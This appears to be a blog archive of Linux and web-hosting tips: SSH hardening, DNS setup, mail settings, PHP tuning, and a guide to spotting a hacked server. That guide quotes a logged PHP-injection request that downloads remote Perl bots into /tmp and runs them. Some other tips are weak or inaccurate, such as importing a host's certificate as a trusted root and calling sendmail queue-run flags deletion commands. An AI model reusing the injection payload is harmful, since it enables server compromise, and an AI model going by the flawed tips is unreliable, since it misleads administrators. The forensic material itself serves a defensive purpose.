Showing posts with label Linux. Show all posts
Showing posts with label Linux. Show all posts

Securing SSH

0 comments

Requirements


An SSH server should already be installed and running. If it is not, do the following:


yum install openssh-server
/etc/init.d/sshd start


Doing the Work


Most of the steps below involve editing the global SSH server configuration file located at /etc/ssh/sshd_config, and the access control tcpwrapper configuration files /etc/hosts.allow and /etc/hosts.deny. Use your favorite editor to modify these files as root.


Summary of Steps:


Some or all of the following steps may be taken to secure your SSH server. The steps are sorted roughly in order of entirely sensible precaution to completely paranoid:

  1. Choose a strong password
  2. Install "DenyHosts" to auto-block bad clients
  3. Change the default port
  4. Disable insecure Protocol 1; allowing only Protocol 2
  5. Disable root login
  6. Reduce MaxStartups
  7. Reduce LoginGraceTime
  8. Allow only specific users or groups to connect
  9. Allow only specific IP addresses to connect
  10. Allow only users with keys to connect; no passwords allowed
  11. Bind the ssh server to a specific network interface


Steps Explained:



If you do nothing else, it is of utmost importance to choose strong passwords for all accounts, especially root, since it is the #1 attacked account. It is very enlightening to see the accounts on your system that attackers have been targeting lately; to do this either use the lastb command to quickly see recent failed logins of all types, or, better, parse /var/log/secure to get stats only for failed ssh logins. Three examples:

[root@nano ~]# ### top 5 most recently attacked accounts
[root@nano ~]# lastb | awk '{print $1}' | sort | uniq -c | sort -rn | head -5
29 root
24 admin
16 sales
14 test
14 staff

[root@nano ~]# ### top 5 most attacked accounts
[root@nano ~]# awk 'gsub(".*sshd.*Failed password for (invalid user )?", "") {print $1}' /var/log/secure* | sort | uniq -c | sort -rn | head -5
723 root
66 admin
45 test
39 ftpuser
34 mysql

[root@nano ~]# ### top 5 attacker IP addresses (obscured for privacy)
[root@nano ~]# awk 'gsub(".*sshd.*Failed password for (invalid user )?", "") {print $3}' /var/log/secure* | sort | uniq -c | sort -rn | head -5
1042 193.251.XXX.XXX
556 85.21.XXX.XXX
373 218.189.XXX.XXX
284 121.156.XX.XXX
228 121.140.XX.XXX


Fedora uses pam_cracklib.so to force normal users to choose semi-strong passwords of 6 characters or more when changing their passwd, but root can still choose weak passwords anytime he wants (but will be warned). Also note that the first user account added to the system after an installation (using firstboot) is allowed to be weak if you ignore the warning.

You may want to use a utility called "john the ripper" to audit the strength of passwords on your system - if it cracks any too quickly, they're too weak.

Install the "denyhosts" server which watches the /var/log/secure logfile for invalid ssh login attempts, and if a configurable threshold is crossed, they are automatically blocked by being added to /etc/hosts.deny. Install denyhosts, and optionally edit the good default configuration in /etc/denyhosts.conf:

yum install denyhosts
chkconfig denyhosts on
/etc/init.d/denyhosts start


The vast majority of ssh attacks are directed by compromised zombie machines against ssh servers listening on the default port of "22". By changing this port to something else you greatly reduce the risk of an automated break-in. Edit /etc/ssh/sshd_config and change the line which reads "Port 22" to "Port 2222", or any other unused port of your choosing, preferably above 1024. A line preceded by a '#' is the commented out default value.

#Port 22
Port 2222


SSH speaks two protocols: The old and insecure Protocol 1, and the newer Protocol 2. Almost all SSH clients now speak Protocol 2, so it is best to disable the older one. Edit sshd_config to include only Protocol 2, and not both:

#Protocol 2,1
Protocol 2


note: As of Fedora 8 this is unnecessary as only Protocol 2 is enabled by default.

There is no good reason for root to be allowed to interactively login directly; after connecting as a normal user, you can still "su -" to root. edit sshd_config:

#PermitRootLogin yes
PermitRootLogin no


If root login is required - e.g. for remote system backups - you may alternatively permit root to login, but only if using ssh keys, not interactive password entry:

PermitRootLogin without-password


Finally, it's also possible to limit root access to only be able to run specific commands, such as backup scripts (beyond the scope of this article):

PermitRootLogin forced-commands-only


Limit the maximum number of unauthenticated connections that the ssh server will handle at the same time. The smaller this is, the harder it is for script kiddies to make parallel, coordinated cracking attempts with multiple connections. edit sshd_config and change MaxStartups from the default of "10" to "3:50:10". The colon separated values tells the ssh server to, "allow 3 users to attempt logging in at the same time, and to randomly and increasingly drop connection attempts between 3 and the maximum of 10". Note: this should be increased on servers with substantial numbers of valid ssh users logging in.

#MaxStartups 10
MaxStartups 3:50:10


Reduce the maximum amount of time allowed to successfully login before disconnecting. The default of 2 minutes is too much time to hold open an unauthenticated connection attempt (see above); 30 seconds is more than enough time to log in:

#LoginGraceTime 2m
LoginGraceTime 30


By default, all valid users on the system are allowed to log in. A more secure policy is to only allow a whitelist of users or groups to log in. For example, to allow only the users "john", "mary", "joeblow", "joeschmoe", "joejoe", and any username that starts with "joe" to login, add the following line to sshd_config:
AllowUsers john mary joe*

Alternatively, you may instead allow only users who are members of certain groups to login. For example, to allow only the members of the "sshusers" group to connect, first make sure the group exists (groupadd sshusers) and add your users to it (usermod -a -G sshusers username), then add the following line to sshd_config:



AllowGroups sshusers


Allow only users from certain IP addresses to connect. Before allowing specific IPs, the default policy must first be set to DENY to be effective. edit /etc/hosts.deny and add the following line:


sshd: ALL


Next add to /etc/hosts.allow the networks you want to allow. For example, to allow all 254 hosts on the class C network "192.168.1.*", all 16million hosts from the class A network "10.0.0.0", and the lonely IP 24.42.69.101, you would add the following to /etc/hosts.allow:

sshd: 192.168.1.0/255.255.255.0
sshd: 10.0.0.0/255.0.0.0
sshd: 24.42.69.101


You may also allow/deny connections via a firewall, but to maintain sanity it's best to stick to one method or the other.

To remove the possibility of anybody ever guessing a user's password, disable password authentication completely, and require that public/private key pairs be used instead. While much more secure than passwords, a user's private key can still be compromised, especially if not protected by a passphrase. To disable password logins, add the following to sshd_config:

PasswordAuthentication no


By default, the ssh server listens for connections on ALL interfaces (0.0.0.0). If a ssh server is to only be accessible internally, bind it to a LAN IP. For example: edit sshd_config:

ListenAddress 192.168.1.10





Troubleshooting


How to test


If your changes don't seem to be working, remember to restart the sshd server, but DO NOT CLOSE THE ACTIVE SSH CONNECTION in case something goes wrong; attempt to make a new connection first, and undo any changes if necessary, or you may find that you've remotely locked yourself out of the system.

    /etc/init.d/sshd restart



    Using Rsync and SSH Keys, Validating, and Automation

    0 comments
    This document covers using cron, ssh, and rsync to backup files over a local network or the Internet. Part of my goal is to ensure no user intervention is required when the computer is restarted (for passwords, keys, or key managers).

    I like to backup some logging, mail, and configuration information sometimes on hosts across the network and Internet, and here is a way I have found to do it. You'll need these packages installed:
    • rsync
    • openssh
    • cron (or vixie-cron)

    Please note these instructions may be specific to Red Hat Linux versions 7.3, 9, and Fedora Core 3, but I hope they won't be too hard to adapt to almost any *NIX type OS. The man pages for 'ssh' and 'rsync' should be helpful to you if you need to change some things (use the "man ssh" and "man rsync" commands).


    First, I'll define some variables. In my explanation, I will be synchronizing files (copying only new or changed files) one way, and I will be starting this process from the host I want to copy things to. In other words, I will be syncing files from /remote/dir/ on remotehost, asremoteuser, to /this/dir/ on thishost, as thisuser.

    I want to make sure that 'rsync' over 'ssh' works at all before I begin to automate the process, so I test it first as thisuser:


    SSL Email Settings - Outlook

    0 comments
    General Settings

    You can use the following settings if you require Secure POP3, Secure IMAP4 or Secure SMTP over SSL.
    POP3 over SSL Server: yourdomainname.com / mail.yourdomainname.com

    POP3 over SSL Port: 995
    IMAP4 over SSL Server: yourdomainname.com / mail.yourdomainname.com

    IMAP4 over SSL Port: 993
    SMTP over SSL Server: yourdomainname.com / mail.yourdomainname.com

    SMTP over SSL Port: 465

    You can authenticate on these servers using your full email address as the username and corresponding password.

    SSL Settings Guides

    Outlook 2010


    You can follow these steps to change your Outlook 2010 email settings if you want to use our Secure servers for sending and receiving email.

    1. Open Outlook 2010

    2. From the File click on Account Settings and select Account SettingsYou'll then see all of your email accounts listed.

    3. Select the account you wish to modify and click Change

    4. Change the Incoming Mail Server (POP3) to yourdomainname.com / mail.yourdomainname.com and change the Outgoing Mail Server (SMTP) to yourdomainname.com / mail.yourdomainname.com

    5. Click on More Settings...

    6. Select the Advanced tab

    7. There are two check boxes labeled This server requires and encrypted connection (SSL). Check mark both check boxes.

    8. Change the Incoming Server (POP3) to 995. Change the Outgoing Server (SMTP) to 465.

    9. Click OK

    10. Click Next > and then Finish


     

     

    What is difference between shared and dedicated IP addresses

    0 comments
    Each computer connected to the Internet is assigned a unique IP address for the purposes of communication. An IP address is a 32-bit numeric address usually expressed as 4 numbers from 0-255 separated by dots, for example 192.168.0.123. There are billions of addresses possible, however, the number is finite.

    In the Web hosting industry there are two types of IP address...

    • Dedicated IP address (also called static IP) means that a website has its own IP address. Whether you type in your URL or the numeric form of its IP address, both will bring you to the same domain.

    • Shared IP address means that multiple websites share the same address. Web servers can determine by the domain entered in a user's browser which website is being requested. Typing in the IP address will bring you to some kind of generic page instead of the specific site you want.


    Due to the rapid increase of the number of registered domain names and the finite number of IP addresses, Web hosting providers are forced to use shared IP's when possible. In fact, hundreds of websites often share the same address. Static IP hosting is no longer the norm and usually costs more.

    Who needs a dedicated IP ?


    Generally, having a website on a shared IP address will not cause you any harm. However, there are a few cases when a static IP is required...

    • Having your own Private SSL Certificate. Secure e-commerce websites need SSL certificates for accepting credit cards online. Web hosts usually offer a shared SSL certificate where clients can share the Web host's SSL. If you are using your Web hosting provider's shared SSL you don't need a static IP.

    • Anonymous FTP. It means that anyone using the FTP software can access files in a special directory of your site. It's called Anonymous FTP because the user name used to access is "anonymous." Many Web hosting providers require a static IP for the anonymous FTP function to work properly.

    • You want to access your website by FTP or Web browser even when the domain name is inaccessible, such as domain name propagation periods.


    Dedicated IP hosting and search engines


    There has been debate in the SEO industry for awhile regarding whether or not using a dedicated IP address is better than having a shared IP for your website...

    • Some SEOs suppose that there really is no good reason to obtain static IP Web hosting. Your site will not perform any better by having its own static IP.

    • Some others theorize that your choice of dedicated IP hosting vs. shared hosting might slightly affect your rankings (i.e. it's a factor considered by search engines).

    • Yet others suppose that sharing an IP address with known spam or adult sites raises a warning flag with search engines, so some of them may respond by banning the entire IP address from their index.


    Most probably, these fears are greatly exaggerated. Since the majority of sites on the Web are hosted via shared IP, it would be unprofitable to search engines to penalize a site based on IP. Search engines are able to ban anything on a domain name instead of an entire IP neighborhood. So it is search engine safe to use a shared IP hosting. Moreover, almost all hosting will eventually be shared in order to preserve IP addresses.

    How to allow remote access to mysql using xampp?

    0 comments
    Just make sure that your mysql is binding to a socket on 0.0.0.0 and you should be able to connect to that socket. I guess the default is for mysql to bind to 127.0.0.1, which, of course, is hard to reach from the outside.

    EDIT: The MySQL configuration file should be in .\xampp\mysql\bin\my.ini. You need to find thebind-address parameter and change it to 0.0.0.0.

    Everyone on your network should then be able to connect that MySQL instance. Of course, that may include people who better shouldn't do that. But as long as there is a password for each mysql user and the instance is not facing the internet, there is not much to worry about.

    What is my motherboard model?

    0 comments
    dmidecode is a great utility that provides details about the motherboard in your server. Everything from the type of RAM to the model of the motherboard.

    Run this command to get the name and model of the motherboard used in your linux server.
     dmidecode | grep -i product

    cPanel certificate error: Security issues? Why?

    0 comments

    Is your SSL valid?


    This certificate in fact is valid and your connection is secured. This means that all data you exchange with our server is protected and nobody except you and our server know what you do in the cPanel.

    But why do I get the "untrusted" message?


    It looks untrusted to third-parties authorities. This is true, because the certificate was issued by us and but not them and they just can't verify it.

    Disabling that annoying SSL reminder:


    In FireFox


    If you see the "This Connection is Untrusted" message

    1. Please click on "I understand the risks"

    2. and then click on the "Add exception" button that will appear

    3. Make sure the "Permanently store this exception" check-box is checked

    4. Click on "Confirm this security exception"


    This will add our certificate to your operating system permanently and will not warn you anymore again for that particular site

    In Internet Explorer



    1. Download our certificates: one, two

    2. Extract the certificates from the archive to your hard disk

    3. Open Internet Explorer, select Tools and Internet Options

    4. Select the Content tab and click the Certificates button

    5. In the new Certificates window select the Trusted Root Certification Authorities tab

    6. Click Import..., Next, then select whmcertificate.crt, click Next and Finish

    7. When asked if you want to import a new certificate click YES

    8. Restart Internet Explorer

    Managing Log Files and Log Rotation

    0 comments
    Plesk allows managing log files and log rotation settings from the control panel. To access these functions, click the  Log Manager icon on the Domain Administration page. The Log Manager page will open:



    • Define the number of log file's lines to be displayed at once. To do that, type in the number of lines in the Lines of log file to be displayed input field prior to selecting a log file for viewing.

    • View a log file. To this effect, click on a log file's name in the list. The log file contents will be displayed in a separate Log File Viewer window.

    • Save a log file on your local machine. To do that, click on the appropriate  icon. After that you will need to specify the location on your local machine and the file name for the downloaded log file to be saved, and then click Save.

    • Delete log files. To this effect, select the corresponding checkboxes, and click Remove Selected.


    To configure the log rotation preferences, follow these steps:

    1. Click the  Log Rotation icon on the Log Files Management page. The Log Rotation Preferences page will open:

    2. Click the  Enable or  Disable icon respectively to enable/disable log rotation.

    3. Select the log rotation condition:                                                                                      a)  log file size - enter the size in kilobytes in the appropriate field.

    4. Specify the maximum number of log files in the appropriate input field, if desired. The maximum number is the number of processed files to be kept for each log file.

    5. Select the Compress log files checkbox to enable compression.

    6. If desired, in the Send processed log files to e-mail input field, enter the e-mail address, for the processed log files to be delivered to.

    7. Click OK to submit changes.

    How to check whether FTP port 21 is blocked?

    2 comments
    The default TCP port for FTP connection is port 21. Sometimes the local Internet Service Provider blocks this port and this will result in FTP connection issues.

    Here's how to, depending on your OS, check whether your ISP blocks port 21:

    • Check port 21 with a Windows OS


    Click on the Start menu button, usually located on the left low corner of the screen. There is a tab called "Run". You have to click on it, in order to proceed further. You will notice the appearance of a new small window on the screen. In the text field of this window you need to type "cmd" and then press the "Enter" key. Another window will open. It is the so called "MS-DOS prompt" or "command prompt". Just type the following command in the command prompt window and press "Enter":

    telnet my-domain-name.com 21

    • Check port 21 with Apple/Mac


    Each Mac OS is delivered with a preinstalled terminal emulator. The terminal is a tool which allows you to execute commands from the command line. Usually, the terminal is located under your Mac HD -> "Applications" directory -> Utilities sub-directory. When the window opens, you will see a command line with a flashing cursor on it so you can start typing right away. Just type the following command and press "Enter":

    telnet my-domain-name.com 21

    • Check port 21 with Linux


    Open your favorite terminal emulator and execute the following command in order to telnet your website:

    telnet my-domain-name.com 21

    Results from the 21 port check


    If the test is successful, you should receive a message like this:
    220---------- Welcome to Pure-FTPd [TLS] ----------
    220-You are user number 2 of 50 allowed.
    220-<<
    220-#########################################################
    220-Please upload your web files to the public_html directory.
    220-Note that letters are case sensitive.
    220-#########################################################
    220->>
    220-Local time is now 03:35. Server port: 21.
    220-This is a private system - No anonymous login
    220-IPv6 connections are also welcome on this server.
    220 You will be disconnected after 15 minutes of inactivity.

    If the welcome message above does not appear, you should contact your local ISP and ask them to unblock this port for you.

    How to add nameservers from shell

    3 comments

    Most of the time on cPanel dedicated server we add nameservers from WHM but some time we are not able to access WHM. In that case we can add nameservers from shell by using root login details.


    Login in to server as root user and run following commands.

    root@server[~]#/scripts/adddns –domain ns1.your_domain.com –ip=174.222.222.1


    root@server[~]#/scripts/adddns –domain ns2.your_domain.com –ip=174.222.222.2


    You can use your domain name instead of your_domain.com in above command with the respective ips which you want to use for your nameservers.


    root@server[~]#service named restart

    or

    root@server[~]#/etc/init.d/named restart

    How to Enable GZIP Compress on PHP Websites

    1 comments
    Compressing a web page been serving it to web browser which requested the web page can save and reduce bandwidthusage. With lesser bytes to transmit and transfer over Internet, a web page request can be fulfilled and transferred faster, freeing up process and resources to handle other requests. The end result is faster website, which improves visitors’ experience and potentially improves search engine ranking.

    Most modern web browsers accept web pages encoded in GZIP or Deflate encoding method, with GZIP as the more popular compression format. Webmasters and system administrators are also encouraged to implement GZIP compression.

    There are many ways to implement and enable GZIP compression on a website. For example, enable GZIP compress by configuration mod_deflate on Apache HTTPD server (Note: mod_deflate is for Apache 2.x only, while mod_gzip is used in Apache 1.x). However, for users who can’t modify the Apacheconfiguration file, or unfamiliar with various syntax and directives of mod_deflate and mod_gzip modules, there is a simple way to turn on and enable GZIP compression, specifically for PHP scripts.

    PHP can compress the content output by the PHP scripts, including HTML, JavaScript and CSS codes which are included inside the PHP files. GZIP compression is supported by default on PHP version 4.3 or newer.

    To enable PHP GZIP compression, edit the php.ini (example locations such as in /etc/ or /usr/local/lib) with any text editor such as vi, and locate the following directive:

    zlib.output_compression

    The default value is Off, change the setting to On to make the line looks like below:

    zlib.output_compression = On

    Restart Apache HTTPD server after the change. Every web pages produced by PHP will now be compressed before sending over Internet to the web browser to decode.

    PHP also has a directive which can be used to adjust the compression level. To set the compress level, use the following line in php.ini, with valid values between 1 and 9, where 1 is least compress and 9 is most compress. Default compression level is 6, which provides the best compression without degrading server performance.

    zlib.output_compression_level = 6

    Previously, PHP compression is achieved by entering <?php ob_start(“ob_gzhandler”); ?> code at the beginning of each PHP scripts. The method is not recommended as each and every scripts have to be changed. zlib enabling in php.ini will apply to all PHP scripts on the web server without exclusion.

    If it’s impossible to modify php.ini file, or does not have control over php.ini especially on a shared hosting, the PHP GZIP compression can also be setup via .htaccess file, typically located on the root of the website. To enable PHP GZIP compression via Zlib, just add the following line to the .htaccess file. Note that each website has to be changed individually.

    php_flag zlib.output_compression on

    The disadvantage of enabling GZIP compression via PHP is that only web pages generated by PHP scripts will be compressed by GZIP encoding. All external CSS or JavaScript files will not be compressed. For the ability to enable GZIP compression on all file types, uses mod_deflate or mod_gzip on HTTPD web server instead.

    Do check and verify that GZIP compression is running properly.

    How to clear sendmail queue

    0 comments
    If you are using Linux operating system, you can clear the sendmail queue by the following ways -

    1. manually: delete /var/spool/mail/*.* files in this dir –> delete /var/mqueue/*.* files all mail will be deleted. then, using mailq command, confirm whether all the mails are cleared

    2. using command: use simple command sendmail -v -q in root prompt. it will clear all pending mails. you can also confirm by running mailq command

    If you are interested in deleting particular domain or user or recepitience mail, use this command sendmail -qS -v test.com – deletes all mail from *@test.com sendmail -qR -v hotmail.com – deletes all mail from recepient of hotmail

    Installing DNS server on CentOS 5

    1 comments
    In the first time, you must download core software of this service, that are

    1. bind

    2. caching-nameserver

    3. bind-chroot


    You can download this software by this command,

    # yum -y install bind caching-nameserver bind-chroot

    After you downloaded , you can setup follow this instruction :

    1. Check your hostname by this command :

    # uname -n
    dns.aoddy.com

    2. Edit /etc/named.conf

    options {
    directory “/var/named”;
    forwarders {WWW.XXX.YYY.ZZZ;}; // IP of ISP // query-source address * port 53;
    allow-query { localhost; 192.168.0.0/24;};
    // query range
    allow-transfer { localhost; 192.168.0.0/24;};
    // transfer range
    allow-recursion { localhost; 192.168.0.0/24;};
    // recursion range
    };controls {
    inet 127.0.0.1 allow { localhost; } keys { rndckey; };
    };// here is the section for internal informationsview “internal” {
    match-clients {
    localhost;
    192.168.0.0/24;
    }; zone “.” IN {
    type hint;
    file “named.ca”;
    }; zone “mysite.com” IN {
    // for common resolving
    type master;
    file “mysite.com.fwd”;
    allow-update { none; };
    }; zone “0.168.192.in-addr.arpa” IN {
    // for reverse resolving *note
    type master;
    file “mysite.com.rev”;
    allow-update { none; };
    }; zone “localdomain” IN {
    type master;
    file “localdomain.zone”;
    allow-update { none; };
    };


    zone “localhost” IN {
    type master;
    file “localhost.zone”;
    allow-update { none; };
    };


    zone “0.0.127.in-addr.arpa” IN {
    type master;
    file “named.local”;
    allow-update { none; };
    };


    zone “255.in-addr.arpa” IN {
    type master;
    file “named.broadcast”;
    allow-update { none; };
    };


    zone “0.in-addr.arpa” IN {
    type master;
    file “named.zero”;
    allow-update { none; };
    };


    };


    // here is the section for external informations
    view “external” {
    match-clients {
    any;
    };


    zone “.” IN {
    type hint;
    file “named.ca”;
    };


    zone “server-linux.info” IN {
    // for common resolvin
    type master;
    file “server-linux.info.wan”;
    allow-update { none; };


    };


    zone “80.0.16.172.in-addr.arpa” IN {
    // for reverse resolving *note
    type master;
    file “80.0.16.172.db”;
    allow-update { none; };
    };
    };
    include “/etc/rndc.key”;


    2. Create /var/named/mysite.com.fwd

    $TTL 86400
    @ IN SOA dns.mysite.com. root.aoddy.com.(
    1997022700 ; Serial
    28800 ; Refresh
    14400 ; Retry
    3600000 ; Expire
    86400 ) ; Minimum
    IN NS dns.mysite.com.
    IN MX 10 dns.mysite.com.
    IN MX 20 web.mysite.com.
    IN A 192.168.0.2
    dns IN A 192.168.0.2
    web IN A 192.168.0.3


    3. Create file /var/named/aoddy.com.rev

    $TTL 86400
    @ IN SOA dns.aoddy.com. root.mysite.com.(
    1997022700 ; Serial
    28800 ; Refresh
    14400 ; Retry
    3600000 ; Expire
    86400 ) ; Minimum
    IN NS dns.aoddy.com.
    IN MX 10 dns.mysite.com.
    IN MX 20 web.mysite.com
    IN PTR dns.mysite.com.
    2 IN PTR dns.mysite.com.
    3 IN PTR web.mysite.com.


    4. Start service

    # service named restart

    5. Test this server can resolve domain&ip

    [root@dns named]# nslookup
    > dns.mysite.com
    Server: 192.168.0.2
    Address: 192.168.0.2#53Name: dns.mysite.com
    Address: 192.168.0.2> 192.168.0.2
    Server: 192.168.0.2
    Address: 192.168.0.2#53


    2.0.168.192.in-addr.arpa name = dns.mysite.com.
    >


    6. If your service can’t resolve , you can check on your file config by this command :

    # named-checkconf

    Fatal error - [Plugin Akismet] Error when activating plugin Akismet on WP 3.0

    1 comments
    When activated, the page plugin gives error:
    Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 7680 bytes) in /home/improv/public_html/wp-includes/kses.php(550) : runtime-created function on line 1

    Solution:-

    First, try installing the Memory Bump plugin.

    If that doesn't work, here are four more ways to increase PHP's memory allocation:
    1. If you have access to your PHP.ini file, change the line in PHP.ini
    If your line shows 32M try 64M:
    memory_limit = 64M ; Maximum amount of memory a script may consume (64MB)

    2. If you don't have access to PHP.ini try adding this to an .htaccess file:
    php_value memory_limit 64M

    3. Try adding this line to your wp-config.php file:
    Increasing memory allocated to PHP
    define('WP_MEMORY_LIMIT', '64M');

    4. Talk to your host.


    Taking long time to connect to MySql server remotely.

    15 comments
    When trying to connect from remote host to mysql server with command like this

    mysql -h MySqlServerIP -u mysqlusername -p[password]

    if it is taking long time. Give the following entry in /etc/my.cnf of the server

    skip-name-resolve

    in the [mysqld] section.

    This will fix the issue. It will disable dns resolving.

    Perl upgradation in cPanel servers

    0 comments



    Perl can be upgraded in cPanel severs using the following steps.

    perl -MCPAN -e ‘autobundle’

    cd /root

    wget http://layer1.cpanel.net/perl588installer.tar.gz

    <http://layer1.cpanel.net/perl588installer.tar.gz>

    tar -zxf perl588installer.tar.gz

    cd perl588installer

    ./install

    /usr/local/cpanel/bin/checkperlmodules

    /usr/local/cpanel/startup


    Determine if a server is hacked

    0 comments
    This guide is not meant to be all inclusive for figuring out if a server is hacked however it should give you a pretty good idea if a server is hacked the method used. This guide is going to focus on getting hacked via a php injection attack which is the most common today. There are certainly others but chances are if the server has been compromised by a script kiddie you will be able to find it via this guide. As long as the server has not been rooted it is generally possible to clean up and find all of the tools and scripts that were put on the server. Once a server has been rooted it is impossible to determine without a doubt that you have cleared everything out and what can or cannot be trusted. Once a server has been rooted for sure the server should be reformated/reimaged before it is put back into production. If you are ever unsure of where to go next or woud like to hire somebody to take care of this please take a look TotalServerSolutionswhich is a company that I run and work for is very familiar with handling these types of problems and preventing them from happening. . Of course if you have had the server hacked once you need to make sure and secure it so that it does not get hacked as soon as it is put online again.

    The first step is to look at rkhunter and see if it reports anything that is bad. If rkhunter reports that the server has been rooted it is probably going to best to reimage the server once the method of intrusion has been determined.

    Download and unzip rkhunter
    —–command—–
    cd /usr/local/src/
    wget http://downloads.rootkit.nl/rkhunter-1.2.1.tar.gz
    tar -zxf rkhunter-1.2.1.tar.gz
    cd rkhunter
    —–command—–

    Install and run it
    —–command—–
    ./installer.sh
    rkhunter -c
    —–command—–

    If you are unsure of the output either look on google or you can post it here and I can try to help.

    If that does not turn up anything and you are still having issues with the server sending out a DOS attack, hosting a botnet, or some other “bad” activity the next thing to check into how apache may have been used to exploit the server. This part is going to be hard for many that are not experienced with server administration because you have to be aware of what is normal and what is not. The directories that I am going to reference will have legitimate files but may also contain the scripts used to hacked or send out an attack.

    Go ahead and look in /tmp first and delete the uneeded files that are normal

    cd /tmp
    rm -rf sess*
    rm -rf ssh-*
    rm -rf dos-*
    ls -alh

    On a normal basis the files are fine, the files are only being deleted now to aid in determining what is a legitmate file. The files that are going to be of interest are anything that are bold or green because that means that they can be executed. Typically the hacked files are going to have names that use numbers in the names, end in .pl (perl files), or simply look different from everything else in /tmp. It is impossible to make a list of everything, this is going to be where experience counts as to determining if something is in fact a “bad” file. If youare unsure of the file head over to google and search the name. If it is infact some sort of a rootkit or script you will probably find references to it and what it does.

    Another thing to look at is who the file is owned by. If a file is owned by the user and group nobody it was probably created by apache. These files are going to be of particular interest during an investigation.

    Make sure to look at the very top for a directory named …, .tmp, or anything with a period at the begining as that means it is a hidden file, something that normally would not be in tmp. If you find nothing in /tmp also check /var/tmp and /dev/shm. These directories are where most scripts are stored but it does not mean it is the only place they may be! It might require some more investigation as to what is happening if you are unable to determine what happened from the above.

    Once you find the file you can start the investigation as to what went wrong. The best bet is going to be to look in /usr/local/apache/logs and /usr/local/apache/domlogs and to use the egrep command to search the files. For instance if you have the scriptr r0nin in /tmp you will want to go ahead and check how exactly it got in.

    egrep r0nin *
    Chances are you are going to see something like this:

    Request: XXXXXXXXX – - [30/Apr/2005:10:41:20 -0400
    ] “GET /index.php?t=5704&rush=%65%63%68%6F%20
    %5F%53%54%41%52%54%5F%3B%20cd%%2020/tmp;
    mkdir%20.temp22;cd%20.temp22;wget%20http://www.xxx-
    aane.com/pics/bot.htm;wget%20http://xxx.com/.notes/ssh2.h
    tm;perl%20ssh2.htm;rm%20ssh.htm;perl%20bot.h%20tm;
    rm%20bot.htm%3B%20%65%63%68%6F%20%5F%45%
    4E%44%5%20F&highlight=%2527.%70%61%73%73
    %74%68%72%75%28%24%48%%2054%54%50%5
    F%47%45%54%5F%56%41%52%53%5B%72%75%73%
    68%20%5D%29.%2527?; HTTP/1.1? 403 219
    (I have XXX’ed out some information)

    If you do in fact find something like the above, there are many variations so it will not look exactly like that, then you were probably hacked via a mysql injection. To further prove that this is the case you can look at the timestamp on the file and the timestamp in the logs.

    One nice tool to use to look into what else might be hacked is the command lsof. This command will let you see all files are are currently being accessed by a given user. First stop apache then run lsof to see what files it is using, the reason it must first be stopped is that if you do not there will be a huge list of libs and other files listed.

    service httpd stop
    lsof -u nobody

    Looking at the lsoof output you may be able to find some other directories that are being used. Again here is something where looking at the naming will help, if some directory looks out of place take a look at it and you may be able to find something.

    If that fails you can also use the ps command to try and find the offending process and track it down. Use

    ps -aux

    To look at everything that is running. Most times it is going to be hard pretty hard to just look at everything if you are not very familiar with what is going on and spot the offending process. I would go ahead and start out looking for only perl scripts since they are popular right now:

    ps -aux |grep perl

    If you do find something go ahead and search the drive for the file then open it with pico, you should be able to look at the commenting in the code to find out what sort of things it is capable of. Luckily most of the script kiddies have a section at the top that describes the file and what it does.

    find / |grep somesript.pl

    then edit it via:
    pico -w /location/of/script.pl

    Hopefully this guide will help you out in determining if a server has been hacked and a very basic way to analzye it. Generally doing what I posted above should help you find at least one of the offending processes if a server was in fact hacked. I am going to try to slowly add more information to this guide so if you have any suggestions please feel free to post them below. I am always very open to new ideas on how to do things or different ways of looking at something. If after you have followed this guide and you are unsure of what to do next consider hiring the company that I run, TotalServerSolutions, we are very familiar with locating and helping clean up after an attack. We can also secure your server to stop the server from even being hacked in the first place.

    phpMyAdmin, ‘Error #2002 - The server is not responding’, and OS X 10.4.4

    0 comments
    Trying to install phpMyAdmin on a fresh OS X 10.4.4 install this afternoon was an incredible exercise in frustration. No matter what I did I kept getting the dreaded ‘Error 2002 - The server is not responding‘ error. Turns out the the location of mysql.sock has changed in this version of OS X; if you had all this working before upgrading then the OS was smart enough to detect it and create a sym link to the new location. However new installs, not so much.

    Worked for me:

    Open a terminal, type in

    # ls -al /etc/php.ini*


    If a php.ini does not exist copy over the default php.ini,

    # cp /etc/php.ini.default /etc/php.ini


    Now edit the php.ini

    # nano /etc/php.ini (or use your prefered editor)

    Find “mysql.default_socket” (you can search using [Ctrl]+[w] in nano)

    Enter “/tmp/mysql.sock” after the equals sign.


    Don’t forget to save the file ([Ctrl]+[o] [Enter] in nano)

    Now restart Apache

    # apachectl graceful

    You need to install the LWP perl module (libwww-perl) and then install csf

    1 comments
    [root@server22 csf]# sh install.sh

    Configuring for OS

    Checking for perl modulesfailed
    You need to install the LWP perl module (libwww-perl) and then install csf
    [root@server22 csf]#

    To fix the error, install libwww-perl

    yum install perl-libwww-perl

    Placing /vz partition to external storage (NAS, NFS)

    0 comments
    Sometimes it is need to place /vz partition on external storage. How to perform this procedure on Parallels Virtuozzo Containers system?

    Here are exact steps:

    1. Make sure that external storage is available as device in /dev/ directory (via e.g. NFS or ISCSI layer)

    2. Mount this storage under e.g. mount point /vzs using required options and filesystem type:
    # mount /dev/ext_storage_dev_name /vzs

    3. Stop Virtuozzo:
    # service vz stop

    4. Copy all content from /vz to /vzs:
    # cp -a /vz/* /vzs/

    5. Unmount old /vz directory and /vzs directory:
    # umount /vz
    # umount /vzs


    6. Edit in the file /etc/fstab line for /vz entry to mount external storage under /vz mount point.

    7. mount /vz again:
    # mount /vz

    8. Start Virtuozzo:
    # service vz start